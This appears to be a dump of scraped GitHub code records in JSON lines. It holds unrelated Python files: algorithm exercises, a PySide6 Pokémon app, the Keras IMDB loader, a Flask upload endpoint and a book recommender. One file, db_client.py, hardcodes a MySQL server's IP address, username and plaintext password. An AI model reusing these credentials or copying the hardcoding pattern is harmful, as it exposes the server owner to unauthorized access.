end_point))\r\n print(shortest_route_string)\r\n again = input(\"Would you like to see another route? Enter y/n: \")\r\n if again == 'y':\r\n show_landmarks()\r\n new_route(start_point, end_point)\r\n else:\r\n print(\"Unfortunately, there is currently no path between {0} and {1} due to maintaince\".format(\r\n start_point, end_point))\r\n\r\n\r\ndef goodbye():\r\n print(\"Thanks for using SkyRoute!\")\r\n\r\n\r\ndef skyroute():\r\n greet()\r\n new_route()\r\n goodbye()\r\n\r\n\r\nskyroute()\r\n","repo_name":"lethaimai/Data-Structure-and-Algorithms","sub_path":"4_SkyRoute_A_Graph_Search_Program/skyroute.py","file_name":"skyroute.py","file_ext":"py","file_size_in_byte":4329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"29081922487","text":"class Solution:\n def findTargetSumWays(self, nums: [int], S: int) -> int:\n # #递归 超时\n # if len(nums) == 1:\n # if (nums[0] == S) or (-nums[0] == S):\n # return 1\n # else:\n # return 0\n # if len(nums) == 2:\n # ret = 0\n # if (nums[0] + nums[1]) == S:\n # ret = ret + 1\n # if (nums[0] - nums[1]) == S:\n # ret = ret + 1\n # if (-nums[0] + nums[1]) == S:\n # ret = ret + 1\n # if (-nums[0] - nums[1]) == S:\n # ret = ret + 1\n # return ret\n # ret = self.findTargetSumWays(nums[:-1], S + nums[-1]) + self.findTargetSumWays(nums[:-1], S - nums[-1])\n # return ret\n #动态规划 背包问题,f[i] = f[i-1]+f[i+1]\n dataList = [{}for j in range(len(nums)+1)]#建立数据结构存储S对应的答案\n return self.findTargetSumWaysCore(nums, S, dataList)\n\n def findTargetSumWaysCore(self, nums: [int], S: int, dataList:[int]) -> int:\n SDict = dataList[len(nums)]\n SStr = str(S)\n if SStr in SDict:\n # print(\"{} {} {}\".format(nums,S, dataList[len(nums)][S]))\n return SDict[SStr]\n else:\n if len(nums) == 1:\n if (nums[0] == S) or (-nums[0] == S):\n dataList[len(nums)][SStr] = 1\n return 1\n else:\n return 0\n if len(nums) == 2:\n ret = 0\n if (nums[0] + nums[1]) == S:\n ret = ret + 1\n if (nums[0] - nums[1]) == S:\n ret = ret + 1\n if (-nums[0] + nums[1]) == S:\n ret = ret + 1\n if (-nums[0] - nums[1]) == S:\n ret = ret + 1\n dataList[len(nums)][SStr] = ret\n return ret\n ret = self.findTargetSumWaysCore(nums[:-1], S + nums[-1], dataList) + self.findTargetSumWaysCore(nums[:-1], S - nums[-1], dataList)\n dataList[len(nums)][SStr] = ret\n return ret\n\nif __name__ == '__main__':\n # nums = [1, 1, 1, 1, 1]\n # S = 3\n # nums = [1]\n # S = 1\n # nums = [1, 0]\n # S = 1\n nums = [47, 23, 35, 27, 30, 42, 26, 42, 30, 6, 8, 48, 44, 38, 41, 50, 18, 19, 19, 5]\n S = 40\n ret = Solution().findTargetSumWays(nums, S)\n print(ret)\n","repo_name":"freesan44/LeetCode","sub_path":"LeetCode_494.py","file_name":"LeetCode_494.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33113608479","text":"from PySide6.QtWidgets import (\n QWidget,\n QLabel,\n QLineEdit,\n QPushButton,\n QTextEdit,\n QFrame,\n QDialog,\n)\nfrom PySide6.QtGui import QPixmap\nfrom PySide6.QtCore import Slot\nfrom display_window import DisplayWindow\nimport requests\n\n\nclass Notification(QDialog):\n def __init__(self):\n super().__init__()\n self.setWindowTitle(\"Notification\")\n self.label = QLabel(self)\n self.label.setWordWrap(True)\n self.label.setGeometry(30, 20, 250, 40)\n self.setFixedSize(300, 85)\n\n def display_notification(self, text):\n self.label.setText(text)\n self.exec()\n\n\nclass SearchWindow(QWidget):\n \"\"\"\n This \"window\" is a QWidget. If it has no parent, it\n will appear as a free-floating window as we want.\n \"\"\"\n\n @Slot()\n def search(self):\n self._fetch_api()\n self._show_image()\n self._show_stats()\n\n @Slot()\n def capture(self):\n name = self.response[\"name\"].title()\n self.captured_pokemon.append((name, self.img_data))\n self.notif.display_notification(f\"{name} has been captured!\")\n\n @Slot()\n def display(self):\n display = DisplayWindow(self.captured_pokemon)\n display.show()\n\n def _fetch_api(self):\n try:\n response = requests.get(\n f\"https://pokeapi.co/api/v2/pokemon/{self.textbox.text()}\", timeout=5\n )\n\n if response.status_code == 200:\n self.response = response.json()\n self.img_data = requests.get(\n self.response[\"sprites\"][\"other\"][\"official-artwork\"][\n \"front_default\"\n ]\n ).content\n else:\n self.notif.display_notification(\"The given pokemon could not be found!\")\n except requests.Timeout:\n self.notif.display_notification(\n \"The Request timed out, please try again later\"\n )\n\n def _show_image(self):\n poke_pic = QPixmap()\n poke_pic.loadFromData(self.img_data)\n self.pokemon_image.setPixmap(poke_pic.scaled(200, 200))\n\n def _show_stats(self):\n stats = {\n \"Name\": self.response[\"name\"].title(),\n \"Abilities\": tuple(\n item[\"ability\"][\"name\"] for item in self.response[\"abilities\"]\n ),\n \"Types\": tuple(item[\"type\"][\"name\"] for item in self.response[\"types\"]),\n \"Hp\": self.response[\"stats\"][0][\"base_stat\"],\n \"Attack\": self.response[\"stats\"][1][\"base_stat\"],\n \"Defense\": self.response[\"stats\"][2][\"base_stat\"],\n \"Special-attack\": self.response[\"stats\"][3][\"base_stat\"],\n \"Special-defense\": self.response[\"stats\"][4][\"base_stat\"],\n \"Speed\": self.response[\"stats\"][5][\"base_stat\"],\n }\n\n stats_text = \"\"\n for key in stats:\n if type(stats[key]) == tuple:\n stats_text += key + \": \" + \", \".join(stats[key]) + \"\\n\"\n else:\n stats_text += key + \": \" + str(stats[key]) + \"\\n\"\n self.stats.setPlainText(stats_text)\n\n def __init__(self):\n super().__init__()\n\n self.captured_pokemon = []\n self.notif = Notification()\n\n self.bg = QLabel(self)\n self.bg.setGeometry(0, 0, 750, 480)\n self.bg_img = QPixmap(\"assets/bg_2.jpg\")\n self.bg.setPixmap(self.bg_img)\n\n self.setStyleSheet(\n \"\"\"\n QLineEdit {\n background-color: black;\n font-size: 20px;\n font-weight: 500;\n border: 1px solid gray;\n }\n QPushButton {\n background-color: black;\n font-size: 16px;\n font-weight: 400;\n }\n QPushButton:hover {\n background-color: #fc0303 ;\n }\n \"\"\"\n )\n self.textbox = QLineEdit(self)\n self.textbox.move(20, 20)\n self.textbox.setGeometry(50, 70, 160, 40)\n self.textbox.setStyleSheet(\"font-size: 16px;\")\n self.textbox.returnPressed.connect(self.search)\n\n label1 = QLabel(\"Enter the name\", self)\n label1.setGeometry(50, 25, 600, 70)\n\n enter_button = QPushButton(\"Search\", self)\n enter_button.setGeometry(50, 225, 160, 43)\n enter_button.clicked.connect(self.search)\n\n capture_button = QPushButton(\"Capture\", self)\n capture_button.setGeometry(50, 275, 160, 43)\n capture_button.clicked.connect(self.capture)\n\n display_button = QPushButton(\"Display\", self)\n display_button.setGeometry(50, 325, 160, 43)\n display_button.clicked.connect(self.display)\n\n self.pokemon_image = QLabel(parent=self)\n self.pokemon_image.setGeometry(350, 10, 200, 200)\n\n self.stats = QTextEdit(self)\n self.stats.setGeometry(350, 220, 400, 260)\n self.stats.setFrameStyle(QFrame.NoFrame)\n self.stats.setStyleSheet(\"background-color: rgba(0, 0, 0, 0);\")\n self.stats.setFontPointSize(15)\n\n\nif __name__ == \"__main__\":\n import sys\n from PySide6.QtWidgets import QApplication\n\n app = QApplication(sys.argv)\n window = SearchWindow()\n window.show()\n sys.exit(app.exec())\n","repo_name":"hrideshmg/amfoss-tasks","sub_path":"task-08/src/search_window.py","file_name":"search_window.py","file_ext":"py","file_size_in_byte":5266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74674521812","text":"# Input: root = [1,2,3,null,5]\n# Output: [\"1->2->5\",\"1->3\"]\n\n\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def binaryTreePaths(self, root: Optional[TreeNode]) -> List[str]:\n if not root:\n return []\n \n s = [(root, \"\")]\n arr = []\n while s:\n node, path = s.pop()\n if not node.left and not node.right:\n arr.append(path+str(node.val))\n if node.right:\n s.append((node.right, path+str(node.val)+\"->\"))\n if node.left:\n s.append((node.left, path+str(node.val)+\"->\"))\n return arr\n","repo_name":"Audarya07/Leetcode","sub_path":"BinaryTreePaths.py","file_name":"BinaryTreePaths.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30428256801","text":"# LIBTBX_SET_DISPATCHER_NAME dev.dials.estimate_resolution_limit\n\nfrom __future__ import absolute_import, division, print_function\n\nfrom libtbx.phil import command_line\nfrom dials.util import Sorry\nimport iotbx.phil\n\n# from dials.util.command_line import Importer\nfrom dials.util.options import OptionParser\nfrom dials.util.options import flatten_reflections\nfrom dials.util.options import flatten_experiments\nfrom dials.array_family import flex\n\nhelp_message = \"\"\"\n\n\"\"\"\n\nphil_scope = iotbx.phil.parse(\n \"\"\"\ni_sigi_cutoff = 0.1\n .type = float(value_min=0.000001)\nplot=False\n .type = bool\n\"\"\",\n process_includes=True,\n)\n\n\ndef run(args):\n import libtbx.load_env\n\n usage = \"dev.dials.estimate_resolution_limit indexed.expt indexed.refl [options]\"\n\n parser = OptionParser(\n usage=usage,\n phil=phil_scope,\n read_experiments=True,\n read_reflections=True,\n check_format=False,\n epilog=help_message,\n )\n\n params, options = parser.parse_args(show_diff_phil=True)\n experiments = flatten_experiments(params.input.experiments)\n reflections = flatten_reflections(params.input.reflections)\n if len(experiments) == 0:\n parser.print_help()\n return\n elif len(experiments) > 1:\n raise Sorry(\"More than one experiment present\")\n\n experiment = experiments[0]\n assert len(reflections) == 1\n reflections = reflections[0]\n\n intensities = reflections[\"intensity.sum.value\"]\n variances = reflections[\"intensity.sum.variance\"]\n if \"intensity.prf.value\" in reflections:\n intensities = reflections[\"intensity.prf.value\"]\n variances = reflections[\"intensity.prf.variance\"]\n sel = variances > 0\n intensities = intensities.select(sel)\n variances = variances.select(sel)\n sigmas = flex.sqrt(variances)\n indices = reflections[\"miller_index\"].select(sel)\n\n from cctbx import crystal, miller\n\n crystal_symmetry = crystal.symmetry(\n space_group=experiment.crystal.get_space_group(),\n unit_cell=experiment.crystal.get_unit_cell(),\n )\n\n miller_set = miller.set(\n crystal_symmetry=crystal_symmetry, anomalous_flag=True, indices=indices\n )\n miller_array = miller.array(\n miller_set=miller_set, data=intensities, sigmas=sigmas\n ).set_observation_type_xray_intensity()\n\n # miller_array.setup_binner(n_bins=50, reflections_per_bin=100)\n miller_array.setup_binner(auto_binning=True, n_bins=20)\n result = miller_array.i_over_sig_i(use_binning=True)\n result.show()\n\n from cctbx import uctbx\n\n d_star_sq_centre = result.binner.bin_centers(2)\n i_over_sig_i = flex.double([d if d is not None else 0 for d in result.data[1:-1]])\n sel = i_over_sig_i > 0\n d_star_sq_centre = d_star_sq_centre.select(sel)\n i_over_sig_i = i_over_sig_i.select(sel)\n log_i_over_sig_i = flex.log(i_over_sig_i)\n weights = result.binner.counts()[1:-1].as_double().select(sel)\n fit = flex.linear_regression(d_star_sq_centre, log_i_over_sig_i, weights=weights)\n\n m = fit.slope()\n c = fit.y_intercept()\n\n import math\n\n y_cutoff = math.log(params.i_sigi_cutoff)\n x_cutoff = (y_cutoff - c) / m\n\n estimated_d_min = uctbx.d_star_sq_as_d(x_cutoff)\n print(\"estimated d_min: %.2f\" % estimated_d_min)\n\n if params.plot:\n from matplotlib import pyplot\n\n fig = pyplot.figure()\n ax = fig.add_subplot(1, 1, 1)\n\n ax.plot(list(d_star_sq_centre), list(log_i_over_sig_i), label=r\"ln(I/sigI)\")\n ax.plot(pyplot.xlim(), [(m * x + c) for x in pyplot.xlim()], color=\"red\")\n ax.plot([x_cutoff, x_cutoff], pyplot.ylim(), color=\"grey\", linestyle=\"dashed\")\n ax.plot(pyplot.xlim(), [y_cutoff, y_cutoff], color=\"grey\", linestyle=\"dashed\")\n ax.set_xlabel(\"d_star_sq\")\n ax.set_ylabel(\"ln(I/sigI)\")\n\n ax_ = ax.twiny() # ax2 is responsible for \"top\" axis and \"right\" axis\n xticks = ax.get_xticks()\n xlim = ax.get_xlim()\n xticks_d = [uctbx.d_star_sq_as_d(ds2) if ds2 > 0 else 0 for ds2 in xticks]\n xticks_ = [ds2 / (xlim[1] - xlim[0]) for ds2 in xticks]\n ax_.set_xticks(xticks)\n ax_.set_xlim(ax.get_xlim())\n ax_.set_xlabel(r\"Resolution ($\\AA$)\")\n ax_.set_xticklabels([\"%.1f\" % d for d in xticks_d])\n pyplot.savefig(\"estimate_resolution_limit.png\")\n pyplot.clf()\n\n\nif __name__ == \"__main__\":\n import sys\n from libtbx.utils import show_times_at_exit\n\n show_times_at_exit()\n run(sys.argv[1:])\n","repo_name":"dials/dials_scratch","sub_path":"command_line/estimate_resolution_limit.py","file_name":"estimate_resolution_limit.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10611737034","text":"from tasks.greetings import process_input\nfrom tasks.check_name import process_name_input\nfrom tasks.array_operations import process_array_input\n\nif __name__ == \"__main__\":\n print(\"1. Если введенное число больше 7, то вывести 'Привет':\")\n user_input = input(\"Enter a number: \")\n\n try:\n process_input(user_input)\n except ValueError as e:\n print(f\"Error: {e}\")\n\n print(\"-\" * 10)\n\n print(\"2. Если введенное имя совпадает с 'Вячеслав', то вывести 'Привет, Вячеслав', если нет, то вывести 'Нет такого имени':\")\n user_input1 = input(\"Enter a name: \")\n\n try:\n process_name_input(user_input1)\n except ValueError as e:\n print(f\"Error: {e}\")\n\n print(\"-\"*10)\n\n print(\"3. На входе есть числовой массив, необходимо вывести элементы массива кратные 3:\")\n user_input2 = input(\"Enter a space-separated list of numbers: \")\n\n try:\n process_array_input(user_input2)\n except ValueError as e:\n print(f\"Error: {e}\")","repo_name":"obodman37/obodovskyi_python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14783429308","text":"import requests\nimport os\nimport json\n\n\"\"\"\n Obtiene url de las fotos del sitio de perros\n\"\"\"\n\ndef downloadFile(url: str):\n filename = url.split('/')[len(url.split('/')) - 1]\n\n resp = requests.get(url)\n if resp.status_code == 200:\n with open(os.path.join('downloaded_files', filename), 'wb') as r:\n r.write(resp.content)\n else:\n print(\"Error al descargar archivo: \" + url)\n\n\n\ncategorias = [\"borzoi\", \"boxer\", \"chow\", \"dingo\"]\ncontenedor = list()\n\nfor categoria in categorias:\n url = \"https://dog.ceo/api/breed/{0}/images/random\".format(categoria)\n i = 0\n while i < 50:\n data = requests.get(url)\n if data.status_code == 200:\n if data.json()['message'] not in contenedor:\n contenedor.append(data.json()['message'])\n i = i+1\n else:\n continue\n print(str(i) + \" - \" + data.json()['message'])\n downloadFile(data.json()['message'])\n # time.sleep(0)\nres = [{\"image\": contenedor[i]} for i in range(0, len(contenedor))]\n\nwith open('data50.json', 'w') as outfile:\n json.dump(res, outfile)\n\n\n\n","repo_name":"ilfoxo/python-graphql-access","sub_path":"dogs.py","file_name":"dogs.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43843585318","text":"import pymysql\n\nclass DbClient:\n \n def __init__(self):\n print('Connecting database...')\n self.db = pymysql.connect(host='172.104.122.77',\n user='ece656',\n password='Ece656!@#',\n charset='utf8')\n print('Connected!')\n self.cursor = self.db.cursor()\n self.cursor.execute(\"use books;\")\n \n \n def select(self, query: str):\n self.cursor.execute(query)\n data = self.cursor.fetchall()\n return data\n \n def insert(self, table: str, fields: str, values: str) -> None:\n query = \"INSERT INTO {}({}) VALUES ({});\".format(table, fields, values)\n self.cursor.execute(query)\n self.db.commit()\n print('created')\n \n def update(self, table: str, query: str, fields: str, values: str) -> None:\n query = \"UPDATE {} set {} = {} where {};\".format(table, fields, values, query)\n self.cursor.execute(query)\n self.db.commit()\n print('updated')\n","repo_name":"MinzheChen98/Books","sub_path":"db_client.py","file_name":"db_client.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5862784059","text":"\"\"\"IMDB sentiment classification dataset.\"\"\"\n\nimport json\n\nimport numpy as np\n\nfrom keras.api_export import keras_export\nfrom keras.utils.file_utils import get_file\nfrom keras.utils.python_utils import remove_long_seq\n\n\n@keras_export(\"keras.datasets.imdb.load_data\")\ndef load_data(\n path=\"imdb.npz\",\n num_words=None,\n skip_top=0,\n maxlen=None,\n seed=113,\n start_char=1,\n oov_char=2,\n index_from=3,\n **kwargs,\n):\n \"\"\"Loads the [IMDB dataset](https://ai.stanford.edu/~amaas/data/sentiment/).\n\n This is a dataset of 25,000 movies reviews from IMDB, labeled by sentiment\n (positive/negative). Reviews have been preprocessed, and each review is\n encoded as a list of word indexes (integers).\n For convenience, words are indexed by overall frequency in the dataset,\n so that for instance the integer \"3\" encodes the 3rd most frequent word in\n the data. This allows for quick filtering operations such as:\n \"only consider the top 10,000 most\n common words, but eliminate the top 20 most common words\".\n\n As a convention, \"0\" does not stand for a specific word, but instead is used\n to encode the pad token.\n\n Args:\n path: where to cache the data (relative to `~/.keras/dataset`).\n num_words: integer or None. Words are\n ranked by how often they occur (in the training set) and only\n the `num_words` most frequent words are kept. Any less frequent word\n will appear as `oov_char` value in the sequence data. If None,\n all words are kept. Defaults to `None`.\n skip_top: skip the top N most frequently occurring words\n (which may not be informative). These words will appear as\n `oov_char` value in the dataset. When 0, no words are\n skipped. Defaults to `0`.\n maxlen: int or None. Maximum sequence length.\n Any longer sequence will be truncated. None, means no truncation.\n Defaults to `None`.\n seed: int. Seed for reproducible data shuffling.\n start_char: int. The start of a sequence will be marked with this\n character. 0 is usually the padding character. Defaults to `1`.\n oov_char: int. The out-of-vocabulary character.\n Words that were cut out because of the `num_words` or\n `skip_top` limits will be replaced with this character.\n index_from: int. Index actual words with this index and higher.\n\n Returns:\n Tuple of Numpy arrays: `(x_train, y_train), (x_test, y_test)`.\n\n **`x_train`, `x_test`**: lists of sequences, which are lists of indexes\n (integers). If the num_words argument was specific, the maximum\n possible index value is `num_words - 1`. If the `maxlen` argument was\n specified, the largest possible sequence length is `maxlen`.\n\n **`y_train`, `y_test`**: lists of integer labels (1 or 0).\n\n **Note**: The 'out of vocabulary' character is only used for\n words that were present in the training set but are not included\n because they're not making the `num_words` cut here.\n Words that were not seen in the training set but are in the test set\n have simply been skipped.\n \"\"\"\n origin_folder = (\n \"https://storage.googleapis.com/tensorflow/tf-keras-datasets/\"\n )\n path = get_file(\n fname=path,\n origin=origin_folder + \"imdb.npz\",\n file_hash=( # noqa: E501\n \"69664113be75683a8fe16e3ed0ab59fda8886cb3cd7ada244f7d9544e4676b9f\"\n ),\n )\n with np.load(path, allow_pickle=True) as f:\n x_train, labels_train = f[\"x_train\"], f[\"y_train\"]\n x_test, labels_test = f[\"x_test\"], f[\"y_test\"]\n\n rng = np.random.RandomState(seed)\n indices = np.arange(len(x_train))\n rng.shuffle(indices)\n x_train = x_train[indices]\n labels_train = labels_train[indices]\n\n indices = np.arange(len(x_test))\n rng.shuffle(indices)\n x_test = x_test[indices]\n labels_test = labels_test[indices]\n\n if start_char is not None:\n x_train = [[start_char] + [w + index_from for w in x] for x in x_train]\n x_test = [[start_char] + [w + index_from for w in x] for x in x_test]\n elif index_from:\n x_train = [[w + index_from for w in x] for x in x_train]\n x_test = [[w + index_from for w in x] for x in x_test]\n\n if maxlen:\n x_train, labels_train = remove_long_seq(maxlen, x_train, labels_train)\n x_test, labels_test = remove_long_seq(maxlen, x_test, labels_test)\n if not x_train or not x_test:\n raise ValueError(\n \"After filtering for sequences shorter than maxlen=\"\n f\"{str(maxlen)}, no sequence was kept. Increase maxlen.\"\n )\n\n xs = x_train + x_test\n labels = np.concatenate([labels_train, labels_test])\n\n if not num_words:\n num_words = max(max(x) for x in xs)\n\n # by convention, use 2 as OOV word\n # reserve 'index_from' (=3 by default) characters:\n # 0 (padding), 1 (start), 2 (OOV)\n if oov_char is not None:\n xs = [\n [w if (skip_top <= w < num_words) else oov_char for w in x]\n for x in xs\n ]\n else:\n xs = [[w for w in x if skip_top <= w < num_words] for x in xs]\n\n idx = len(x_train)\n x_train, y_train = np.array(xs[:idx], dtype=\"object\"), labels[:idx]\n x_test, y_test = np.array(xs[idx:], dtype=\"object\"), labels[idx:]\n return (x_train, y_train), (x_test, y_test)\n\n\n@keras_export(\"keras.datasets.imdb.get_word_index\")\ndef get_word_index(path=\"imdb_word_index.json\"):\n \"\"\"Retrieves a dict mapping words to their index in the IMDB dataset.\n\n Args:\n path: where to cache the data (relative to `~/.keras/dataset`).\n\n Returns:\n The word index dictionary. Keys are word strings, values are their\n index.\n\n Example:\n\n ```python\n # Use the default parameters to keras.datasets.imdb.load_data\n start_char = 1\n oov_char = 2\n index_from = 3\n # Retrieve the training sequences.\n (x_train, _), _ = keras.datasets.imdb.load_data(\n start_char=start_char, oov_char=oov_char, index_from=index_from\n )\n # Retrieve the word index file mapping words to indices\n word_index = keras.datasets.imdb.get_word_index()\n # Reverse the word index to obtain a dict mapping indices to words\n # And add `index_from` to indices to sync with `x_train`\n inverted_word_index = dict(\n (i + index_from, word) for (word, i) in word_index.items()\n )\n # Update `inverted_word_index` to include `start_char` and `oov_char`\n inverted_word_index[start_char] = \"[START]\"\n inverted_word_index[oov_char] = \"[OOV]\"\n # Decode the first sequence in the dataset\n decoded_sequence = \" \".join(inverted_word_index[i] for i in x_train[0])\n ```\n \"\"\"\n origin_folder = (\n \"https://storage.googleapis.com/tensorflow/tf-keras-datasets/\"\n )\n path = get_file(\n fname=path,\n origin=origin_folder + \"imdb_word_index.json\",\n file_hash=\"bfafd718b763782e994055a2d397834f\",\n )\n with open(path) as f:\n return json.load(f)\n","repo_name":"keras-team/keras","sub_path":"keras/datasets/imdb.py","file_name":"imdb.py","file_ext":"py","file_size_in_byte":7077,"program_lang":"python","lang":"en","doc_type":"code","stars":59773,"dataset":"github-code","pt":"67"} +{"seq_id":"25088133362","text":"import os\n\nimport common.modes\nimport datasets._vsr\nimport random\nimport numpy as np\nimport csv\nvideo_num = 4\n\nLOCAL_DIR = '/data/zhuz/reds'\nTRAIN_LR_DIR = '/data/jinxinqi/Dataset/SuperResolution/NEMO-Dataset/'+str(video_num)+'/image/240p_512kbps_s0_d300.webm'\nTRAIN_HR_DIR = '/data/jinxinqi/Dataset/SuperResolution/NEMO-Dataset/'+str(video_num)+'/image/2160p_12000kbps_s0_d300.webm'\nEVAL_LR_DIR = '/data/jinxinqi/Dataset/SuperResolution/NEMO-Dataset/'+str(video_num)+'/image/240p_512kbps_s0_d300.webm'\nEVAL_HR_DIR = '/data/jinxinqi/Dataset/SuperResolution/NEMO-Dataset/'+str(video_num)+'/image/2160p_12000kbps_s0_d300.webm'\n\n\ndef update_argparser(parser):\n datasets._vsr.update_argparser(parser)\n parser.add_argument(\n '--input_dir', help='Directory of input files in predict mode.')\n parser.set_defaults(\n num_channels=3,\n num_patches=1000,\n train_batch_size=16,\n eval_batch_size=1,\n )\n\n\ndef get_dataset(mode, params):\n if mode == common.modes.PREDICT:\n return REDS_(mode, params)\n else:\n return REDS(mode, params)\n\n\n# class DIV2K(datasets._isr.ImageSuperResolutionHdf5Dataset):\n\n# def __init__(self, mode, params):\n# lr_cache_file = 'data/cache/div2k_{}_lr_x{}.h5'.format(mode, params.scale)\n# hr_cache_file = 'data/cache/div2k_{}_hr.h5'.format(mode)\n\n# lr_dir = {\n# common.modes.TRAIN: TRAIN_LR_DIR(params.scale),\n# common.modes.EVAL: EVAL_LR_DIR(params.scale),\n# }[mode]\n# hr_dir = {\n# common.modes.TRAIN: TRAIN_HR_DIR,\n# common.modes.EVAL: EVAL_HR_DIR,\n# }[mode]\n\n# lr_files = list_image_files(lr_dir)\n# if mode == common.modes.PREDICT:\n# hr_files = lr_files\n# else:\n# hr_files = list_image_files(hr_dir)\n\n# super(DIV2K, self).__init__(\n# mode,\n# params,\n# lr_files,\n# hr_files,\n# lr_cache_file,\n# hr_cache_file,\n# )\n\n\nclass REDS_(datasets._vsr.NemoHdf5Dataset):\n\n def __init__(self, mode, params):\n\n lr_dir = {\n common.modes.TRAIN: TRAIN_LR_DIR,\n common.modes.EVAL: EVAL_LR_DIR,\n common.modes.PREDICT: params.input_dir,\n }[mode]\n hr_dir = {\n common.modes.TRAIN: TRAIN_HR_DIR,\n common.modes.EVAL: EVAL_HR_DIR,\n common.modes.PREDICT: '',\n }[mode]\n\n lr_files = list_image_files(lr_dir)\n if mode == common.modes.PREDICT:\n hr_files = lr_files\n else:\n hr_files = list_image_files(hr_dir)\n\n super(REDS_, self).__init__(\n mode,\n params,\n lr_files,\n hr_files,\n )\n\n\nclass REDS(datasets._vsr.NemoHdf5Dataset):\n\n def __init__(self, mode, params):\n\n lr_cache_file = '/data/zhuz/cache/nemo_{}_{}_lr_x{}.h5'.format(video_num,'train', params.scale)\n hr_cache_file = '/data/zhuz/cache/nemo_{}_{}_hr.h5'.format(video_num,'train')\n\n lr_dir = {\n common.modes.TRAIN: TRAIN_LR_DIR,\n common.modes.EVAL: EVAL_LR_DIR,\n }[mode]\n hr_dir = {\n common.modes.TRAIN: TRAIN_HR_DIR,\n common.modes.EVAL: EVAL_HR_DIR,\n }[mode]\n if mode == common.modes.TRAIN:\n image_iter = params.image_batch\n else:\n image_iter = params.val_image_batch\n\n\n lr_files = list_image_files(lr_dir,mode,image_iter)\n \n if mode == common.modes.PREDICT:\n hr_files = lr_files\n else:\n hr_files = list_image_files(hr_dir,mode,image_iter)\n\n if mode == common.modes.TRAIN:\n file_in = '_train.csv'\n else:\n file_in = '_eval.csv'\n with open(os.path.join(params.job_dir,'lr'+file_in),'w',newline='') as f_csv:\n writer = csv.writer(f_csv)\n for l in lr_files:\n writer.writerow(l)\n with open(os.path.join(params.job_dir,'hr'+file_in),'w',newline='') as f_csv:\n writer = csv.writer(f_csv)\n for l in hr_files:\n writer.writerow(l)\n\n super(REDS, self).__init__(\n mode,\n params,\n lr_files,\n hr_files,\n lr_cache_file,\n hr_cache_file,\n )\n\ndef list_image_files(d,mode, image_batch=10):\n files = sorted(os.listdir(d))\n files = [os.path.join(d,f) for f in files if \"_\" not in f]\n file_num = len(files)\n \n files_lists_ = []\n if mode == common.modes.TRAIN:\n \n for batch in range(0,file_num+1-image_batch,25):\n files_lists_.append(files[batch:batch+image_batch])\n else:\n for batch in range(0,file_num+1-image_batch,image_batch):\n files_lists_.append(files[batch:batch+image_batch])\n \n return files_lists_\n","repo_name":"zhuzhui-2000/mobilesuperresolution","sub_path":"datasets/nemo.py","file_name":"nemo.py","file_ext":"py","file_size_in_byte":4874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6488787336","text":"import os\nimport uuid\n\nfrom flask import Blueprint, jsonify, request, send_from_directory, url_for\nfrom werkzeug.utils import secure_filename\n\nupload_service = Blueprint('upload_service', __name__)\n#upload_service.config['MAX_CONTENT_LENGTH'] = 32 * 1024 * 1024\nUPLOAD_FOLDER = '/webapp/uploads'\n\n@upload_service.route(\"/upload\", methods=['POST'])\ndef upload():\n if request.method == 'POST':\n if 'file' not in request.files:\n return jsonify({\n 'message': 'Bad Request: no file part'\n }), 400\n file = request.files['file']\n if file.filename == '':\n return jsonify({\n 'message': 'Bad Request: no selected file'\n }), 400\n if file:\n filename = secure_filename(str(uuid.uuid4()) + file.filename)\n save_path = os.path.join(UPLOAD_FOLDER, filename)\n file.save(save_path)\n return jsonify({\n 'url': url_for('upload_service.get_file', filename=filename)\n })\n\n@upload_service.route('/file/')\ndef get_file(filename):\n return send_from_directory(UPLOAD_FOLDER, filename)","repo_name":"daily-ebook/webapp","sub_path":"upload_service/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10187179708","text":"from model import *\nimport pickle\ndef recommedation(book_name):\n index = np.where(pt.index == book_name)[0][0]\n similar_items = sorted(list(enumerate(similarity_score[index])), reverse=True, key=lambda x: x[1])[1:]\n data = []\n for i in similar_items:\n item = []\n temp_df = books[books['Book-Title'] == pt.index[i[0]]]\n item.extend(list(temp_df.drop_duplicates('Book-Title')['Book-Title'].values))\n item.extend(list(temp_df.drop_duplicates('Book-Title')['Book-Author'].values))\n item.extend(list(temp_df.drop_duplicates('Book-Title')['Image-URL-M'].values))\n\n data.append(item)\n return data\npickle.dump(pt, open('pt.pkl', 'wb'))\npickle.dump(books, open('books.pkl', 'wb'))\npickle.dump(similarity_score, open('similarity_score.pkl', 'wb'))\npickle.dump(popular_books, open('popular.pkl', 'wb'))\n","repo_name":"aayushaman/bestreads","sub_path":"bestReads/recommend.py","file_name":"recommend.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"34352781116","text":"\"\"\"\n Predicting with multiple inputs and outputs.\n - 3 weights going into each output node\n\"\"\"\n\n\n # toes wins fans\nweights = [\n [0.1, 0.1, -0.3], # hurt?\n [0.1, 0.2, 0.0], # win?\n [0.0, 1.3, 0.1] # sad?\n]\n\ndef w_sum(a, b):\n # Performing a weighted a sum of inputs\n assert len(a) == len(b)\n output = 0\n for i in range(len(a)):\n output += (a[i] * b[i])\n 